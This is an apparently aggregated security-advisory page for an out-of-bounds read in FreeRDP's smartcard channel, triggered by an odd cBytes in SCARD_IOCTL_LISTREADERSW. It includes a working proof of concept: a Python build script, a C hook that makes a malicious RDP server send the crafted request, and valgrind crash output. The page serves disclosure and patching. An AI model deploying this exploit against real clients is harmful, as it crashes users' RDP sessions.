Read the docs

Out-of-bounds read in FreeRDP smartcard reader list decoding

Priority LOW 39Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
Low · None · None
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-r664-f94r-rgg6. Fix status from GitHub.

Summary

FreeRDP versions 3.32.2 and earlier have an out-of-bounds read in the client smartcard channel when decoding the SCARD_IOCTL_LISTREADERSW request. A remote peer that completed the RDP handshake and connected to a client started with /smartcard can make the client read beyond a heap allocation by sending a request with an odd byte count, which can crash the client process.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP client smartcard channel: out-of-bounds read when decoding SCARD_IOCTL_LISTREADERSW ## Summary A remote peer that has completed the RDP handshake and is connected to a client started with `/smartcard` can drive the client process into reading beyond a heap allocation. After the peer announces an SCARD device it may send an `IRP_MJ_DEVICE_CONTROL` request with `IoControlCode` `SCARD_IOCTL_LISTREADERSW` (0x0009002C) whose `cBytes` is odd; the request decodes successfully and returns normally, yet the buffer produced for the reader list is consumed as a NUL-terminated wide string and the read overruns. The behavior was checked on the latest commit. ## Technical Details The decode path neither requires the `mszGroups` byte count to be even nor guarantees that the consumer receives a wide-character terminator inside the allocation. In `libfreerdp/utils/smartcard_pack.c:2345`, `smartcard_unpack_list_readers_call` reads `mszGroups` through `smartcard_ndr_read(..., cBytes, 1, NDR_PTR_SIMPLE)`, i.e. with element size 1, so `cBytes` is taken from the wire with no parity check; the A and W variants share this element size and the `un` flag only affects tracing. `smartcard_ndr_read_ex` (`libfreerdp/utils/smartcard_pack.c:203-212`) then allocates `calloc(len * elementSize + sizeof(WCHAR))` and appends only two zero bytes, so when the total is odd the terminator does not fall on a WCHAR boundary and the buffer holds no 2-byte-aligned NUL. The buffer reaches the local backend unchanged: `libfreerdp/utils/smartcard_call.c:429-432` passes `call->mszGroups` to `SCardListReadersW`, `winpr/libwinpr/smartcard/smartcard_pcsc.c:1057-1063` converts it with `ConvertWCharToUtf8Alloc` when it is non-NULL without first verifying termination, `winpr/libwinpr/crt/unicode.c:379` takes its length with `_wcslen(wstr)`, and on non-Windows `_wcslen` is `wcslen` with no upper bound (`winpr/libwinpr/crt/string.c:400`), advancing in 2-byte steps until it meets a zero WCHAR. Data flow: `channels/rdpdr/client/rdpdr_main.c:1576-1609` (`rdpdr_process_irp` parses the DEVICE_CONTROL IRP and hands it to the device) → `channels/smartcard/client/smartcard_main.c:372-398` (`IRP_MJ_DEVICE_CONTROL` enters NDR decode; LISTREADERSW is marked asynchronous) → `libfreerdp/utils/smartcard_operations.c:618-620` (dispatch to `smartcard_ListReadersW_decode_request`) → `libfreerdp/utils/smartcard_pack.c:2345` → `smartcard_ndr_read_ex` at 203-212 → `channels/smartcard/client/smartcard_main.c:400-499` (LISTREADERSW call path) → `libfreerdp/utils/smartcard_call.c:429-432` → `winpr/libwinpr/smartcard/smartcard_pcsc.c:1057-1063` → `winpr/libwinpr/crt/unicode.c:379` → `winpr/libwinpr/crt/string.c:400`. ## Impact The client process reads beyond a heap allocation. In production the scan proceeds in 2-byte strides until it encounters a zero WCHAR or crosses into an unmapped page, which can crash the client. The bytes that are read are used only locally, as a substring filter for reader names, and are not returned to the peer, so there is no direct information-disclosure gain. A request with `cBytes=2` terminates normally. ## Proof of Concept <details> <summary>Show the proof of concept</summary> Checked on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. On a normal checkout of that commit, build the malicious server and run the unmodified FreeRDP client with `/smartcard` against it: ``` git checkout 651ab269524adbda4d673efa60d2e391ef7555a7 python3 build_poc.py ``` The input is one `SCARD_IOCTL_LISTREADERSW` DeviceControl request whose `cBytes` is odd (1), whose `mszGroups` NDR pointer is non-NULL with a non-zero final byte (`E`), and whose `InputBufferLength` matches the payload; `cBytes=2` is the control. The client reported: ```text ==420== Invalid read of size 2 ==420== at 0x4E1CDE6: _wcslen (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x4E1B862: ConvertWCharToUtf8 (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x4E1BF0D: ConvertWCharToUtf8Alloc (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x4E2D9A8: PCSC_SCardListReadersW (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x4E25BE3: SCardListReadersW (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x4A6E765: smartcard_ListReadersW_Call (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x4A6CD71: smartcard_irp_device_control_call (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x48C317A: smartcard_process_irp (in /work/build/source/install/lib/libfreerdp-client3.so.3.31.2) ==420== by 0x48C269A: smartcard_thread_func (in /work/build/source/install/lib/libfreerdp-client3.so.3.31.2) ==420== by 0x4DF2F15: thread_launcher (in /work/build/source/install/lib/libwinpr3.so.3.31.2) ==420== by 0x55A4608: start_thread (pthread_create.c:477) ==420== by 0x5143352: clone (clone.S:95) ==420== Address 0x1204d072 is 2 bytes inside a block of size 3 alloc'd ==420== at 0x483DD99: calloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so) ==420== by 0x4A650B7: smartcard_ndr_read_ex (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x4A5B916: smartcard_ndr_read (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x4A5BB49: smartcard_unpack_list_readers_call (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x4A54CE2: smartcard_ListReadersW_decode_request (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x4A53FE4: smartcard_irp_device_control_decode_request (in /work/build/source/install/lib/libfreerdp3.so.3.31.2) ==420== by 0x48C3045: smartcard_process_irp (in /work/build/source/install/lib/libfreerdp-client3.so.3.31.2) ==420== by 0x48C269A: smartcard_thread_func (in /work/build/source/install/lib/libfreerdp-client3.so.3.31.2) ``` The same 3-byte allocation also produced an invalid read of size 1 (through `PCSC_SCardListReadersW` → `ConvertWCharToUtf8` → `WideCharToMultiByte` → ICU) and an invalid read of size 2 (`_wcsnlen`), all beyond the `calloc(3)` block. Build script: ```python #!/usr/bin/env python3 """Build the malicious RDP server for sd-13-smartcard-irp.f1 inside the container. The prepared image was configured with the Ninja generator, so there is no `link.txt`: the link command is obtained from `ninja -t commands sfreerdp-server`. We recompile only the patched sample server (server/Sample/sfreerdp.c, copied to /work/poc) plus the PoC hook, using the exact flags recorded in compile_commands.json, then substitute them into the original link line. Everything else is linked from the pre-existing, unmodified objects/libraries. """ import json import os import shlex import subprocess import sys SRC = "/work/build/source" BUILD = os.path.join(SRC, "build") CC_JSON = os.path.join(BUILD, "compile_commands.json") PATCHED_SRC = "/work/poc/sfreerdp.c" PATCHED_OBJ = "/work/poc/sfreerdp_poc.o" HOOK_SRC = "/work/poc/poc_hook.c" HOOK_OBJ = "/work/poc/poc_hook.o" OUT_BIN = "/work/poc/poc_server" def log(msg): sys.stderr.write("[build_poc] %s\n" % msg) sys.stderr.flush() def find_entry(db): for e in db: if e.get("file", "").endswith("server/Sample/sfreerdp.c"): return e return None def split_entry(entry): if "arguments" in entry: return list(entry["arguments"]) return shlex.split(entry["command"]) def compile_one(args, src, obj, extra_cflags): out = [] i = 0 while i < len(args): a = args[i] if a == "-o": i += 2 continue if a.startswith("-o") and len(a) > 2: i += 1 continue if a == src or a.endswith("/server/Sample/sfreerdp.c"): i += 1 continue out.append(a) i += 1 cmd = list(out) + list(extra_cflags) + [src, "-o", obj] log("CC %s" % " ".join(cmd)) subprocess.check_call(cmd) def main(): entry = find_entry(json.load(open(CC_JSON))) if not entry: log("no compile entry for sfreerdp.c") return 2 args = split_entry(entry) log("compile cwd %s" % entry.get("directory")) compile_one(args, PATCHED_SRC, PATCHED_OBJ, ["-I/work/poc"]) compile_one(args, HOOK_SRC, HOOK_OBJ, ["-I/work/poc"]) raw = subprocess.check_output( ["ninja", "-C", BUILD, "-t", "commands", "sfreerdp-server"], text=True ) cands = [l for l in raw.splitlines() if "-o server/Sample/sfreerdp-server" in l] if len(cands) != 1: log("expected exactly one link line, got %d" % len(cands)) return 3 link = cands[0].replace(" && :", "").strip() if link.startswith(": &&"): link = link[4:].strip() obj_rel = "server/Sample/CMakeFiles/sfreerdp-server.dir/sfreerdp.c.o" if obj_rel not in link: log("original object %s not found in link line" % obj_rel) return 4 link = link.replace(obj_rel, PATCHED_OBJ + " " + HOOK_OBJ) link = link.replace("-o server/Sample/sfreerdp-server", "-o " + OUT_BIN) log("LINK %s" % link) subprocess.check_call(link, cwd=BUILD, shell=True) if not os.path.isfile(OUT_BIN): log("link did not produce %s" % OUT_BIN) return 5 log("built %s" % OUT_BIN) return 0 if __name__ == "__main__": sys.exit(main()) ``` Peer hook: ```c /* PoC hook for sd-13-smartcard-irp.f1 * * The real FreeRDP Sample server is compiled unmodified except for a two line * patch (see poc_run.sh) that calls poc_start_rdpdr(context->vcm) from * tf_peer_post_connect. This file only implements the malicious peer * behaviour: once the client announces an RDPDR_DTYP_SMARTCARD device, send a * SCARD_IOCTL_LISTREADERSW DeviceControl request whose mszGroups cBytes is odd. * * The server encoder (smartcard_pack_list_readers_call -> * smartcard_ndr_write(..., elementSize=1)) writes call->cBytes bytes verbatim, * so an odd cBytes reaches the wire. The client decoder * (smartcard_unpack_list_readers_call -> smartcard_ndr_read(..., cBytes, 1, ...)) * allocates cBytes + sizeof(WCHAR) bytes and relies on the 2 appended zero bytes * to form a WCHAR terminator; for odd cBytes that terminator is not 2 byte * aligned, so the consumer (PCSC_SCardListReadersW -> ConvertWCharToUtf8Alloc -> * _wcslen) reads past the allocation. */ #include <stdio.h> #include <winpr/crt.h> #include <winpr/synch.h> #include <winpr/thread.h> #include <winpr/wtsapi.h> #include <freerdp/channels/rdpdr.h> #include <freerdp/server/rdpdr.h> #include "poc_hook.h" static RdpdrServerContext* g_rdpdr = NULL; static DWORD WINAPI poc_send_thread(LPVOID arg) { RdpdrServerContext* ctx = g_rdpdr; UINT i; WINPR_UNUSED(arg); Sleep(2000); /* let the client finish its device list announce handling */ if (!ctx) return 1; /* Same payload resent a bounded number of times to survive startup races; * this is a single crafted IRP, not a set of different payloads. */ for (i = 0; i < 15; i++) { static BYTE groups[4] = { 'E', 'V', 'I', 'L' }; /* wire byte 0 = 'E' (non zero) */ ListReaders_Call call = WINPR_C_ARRAY_INIT; UINT32 completionId = 0; UINT rc; call.handles.hContext.cbContext = 0; call.cBytes = 1; /* ODD byte count: terminator lands on an odd offset */ call.mszGroups = groups; call.fmszReadersIsNULL = 0; call.cchReaders = 0; /* callbackData must be non NULL (server asserts on it); it is only * forwarded to OnSmartcardListReadersComplete, which we leave unset. */ rc = ctx->SmartcardListReadersW(ctx, ctx, &call, &completionId); (void)fprintf(stderr, "[poc] SCARD_IOCTL_LISTREADERSW sent (cBytes=1, byte='E') rc=%u " "completionId=%u\n", rc, completionId); (void)fflush(stderr); Sleep(2000); } return 0; } static UINT poc_on_smartcard_create(RdpdrServerContext* context, const RdpdrDevice* device) { HANDLE th = NULL; WINPR_UNUSED(context); (void)fprintf(stderr, "[poc] client announced RDPDR_DTYP_SMARTCARD deviceId=%u\n", device ? device->DeviceId : 0); (void)fflush(stderr); th = CreateThread(NULL, 0, poc_send_thread, NULL, 0, NULL); if (th) CloseHandle(th); return CHANNEL_RC_OK; } void poc_start_rdpdr(HANDLE vcm) { UINT rc = 0; if (!vcm) { (void)fprintf(stderr, "[poc] no vcm\n"); return; } if (!WTSVirtualChannelManagerIsChannelJoined(vcm, RDPDR_SVC_CHANNEL_NAME)) { (void)fprintf(stderr, "[poc] rdpdr channel not joined\n"); (void)fflush(stderr); return; } g_rdpdr = rdpdr_server_context_new(vcm); if (!g_rdpdr) { (void)fprintf(stderr, "[poc] rdpdr_server_context_new failed\n"); (void)fflush(stderr); return; } g_rdpdr->OnSmartcardCreate = poc_on_smartcard_create; rc = g_rdpdr->Start(g_rdpdr); (void)fprintf(stderr, "[poc] rdpdr server Start rc=%u\n", rc); (void)fflush(stderr); } ``` </details> ## Suggested Fix Add the missing parity check on the `mszGroups` byte count so that the buffer handed to the backend is always a properly WCHAR-aligned, NUL-terminated string: reject an odd `cBytes` in `smartcard_unpack_list_readers_call` (`libfreerdp/utils/smartcard_pack.c:2345`), or make `smartcard_ndr_read_ex` (`libfreerdp/utils/smartcard_pack.c:203-212`) place the appended WCHAR terminator at an aligned offset within the allocation rather than relying on two trailing bytes. ## Credit SecBuddyF (with Hy4 @HY-CyberTeam) of Tencent (@KeenSecurityLab)

Why it matters now

Fix Fixed FreeRDP (c): 3.33.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.23.33.0Patch availableGHSA-r664-f94r-rgg6
  • FreeRDP (c) Vendor— Affected <= 3.32.2 Fixed in 3.33.0 Patch available GHSA-r664-f94r-rgg6

Remediation

Upgrade FreeRDP to version 3.33.0, which fixes this flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-r664-f94r-rgg6 FreeRDP (c) Fixed in 3.33.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-r664-f94r-rgg6

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences